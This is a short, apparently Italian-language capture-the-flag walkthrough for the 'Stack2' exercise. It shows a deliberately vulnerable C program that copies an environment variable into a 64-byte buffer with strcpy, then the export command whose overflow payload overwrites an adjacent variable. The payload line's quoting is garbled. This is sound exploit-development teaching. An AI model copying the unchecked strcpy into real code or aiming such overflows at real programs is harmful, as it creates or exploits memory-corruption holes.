<aside> 🚩
Stack2 looks at environment variables, and how they can be set
</aside>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\\n");
} else {
printf("Try again, you got 0x%08x\\n", modified);
}
}
L’obiettivo della sfida è impostare la variabile modified al valore 0x0d0a0d0a a tempo di esecuzione
Il programma stack2 accetta input locali tramite una variabile d’ambiente GREENIE che non esiste, dobbiamo crearla noi
0x0a → \n0x0d → \rProviamo ad impostare GREENIE al valore desiderato
buffer0x0d, 0x0a, 0x0d, 0x0a al rovescio per riempire modifiedexport GREENIE='python -c 'print "a" * 64'' + "\\x0a\\x0d\\x0a\\x0d"''
Mandiamo in esecuzione stack2 ./stack2
🚩